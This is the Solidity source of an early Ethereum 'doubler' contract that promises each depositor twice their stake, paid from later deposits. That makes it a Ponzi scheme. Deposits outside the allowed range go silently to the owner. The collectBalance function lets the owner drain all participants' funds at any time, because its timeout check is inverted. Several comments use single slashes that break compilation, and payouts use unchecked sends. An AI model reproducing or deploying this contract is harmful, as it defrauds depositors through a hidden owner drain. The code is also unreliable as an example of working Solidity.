contract DoubleTx{

    struct Participant {
        address etherAddress;
        uint PayAmount;
    }

    Participant[] public participants;

    uint public payoutIdx = 0;
    uint public collectedFees = 0;
    uint public balance = 0;
   uint public timeout = now + 1 weeks;

    address public owner;


   / simple single-sig function modifier
    modifier onlyowner { if (msg.sender == owner) _ }

   / this function is executed at initialization and sets the owner of the contract
    function DoubleTx() {
      collectedFees += msg.value;
        owner = msg.sender;
    }

   / fallback function - simple transactions trigger this
    function() {
        enter();
    }
   
    function enter() {
      //send more than 0.1 ether and less than 50, otherwise loss all
      if (msg.value >= 100 finney && msg.value <= 50 ether) {
          /update contract balance
           balance += msg.value;
   
            // add a new participant to array and calculate need balance to payout
           uint idx = participants.length;
           participants.length += 1;
           participants[idx].etherAddress = msg.sender;
           participants[idx].PayAmount = 2 * msg.value;
         
         uint NeedAmount = participants[payoutIdx].PayAmount;
         // if there are enough ether on the balance we can pay out to an earlier participant
          if (balance >= NeedAmount) {
               participants[payoutIdx].etherAddress.send(NeedAmount);
   
               balance -= NeedAmount;
               payoutIdx += 1;
           }
      }
      else {
         collectedFees += msg.value;
            return;
      }
    }

   function NextPayout() {
        balance += msg.value;
      uint NeedAmount = participants[payoutIdx].PayAmount;

       if (balance >= NeedAmount) {
            participants[payoutIdx].etherAddress.send(NeedAmount);

            balance -= NeedAmount;
            payoutIdx += 1;
        }
    }

    function collectFees() onlyowner {
      collectedFees += msg.value;
        if (collectedFees == 0) return;

        owner.send(collectedFees);
        collectedFees = 0;
    }

    function collectBalance() onlyowner {
      balance += msg.value;
        if (balance == 0 && now > timeout) return;

        owner.send(balance);
        balance = 0;
    }

    function setOwner(address _owner) onlyowner {
      collectedFees += msg.value;
        owner = _owner;
    }
}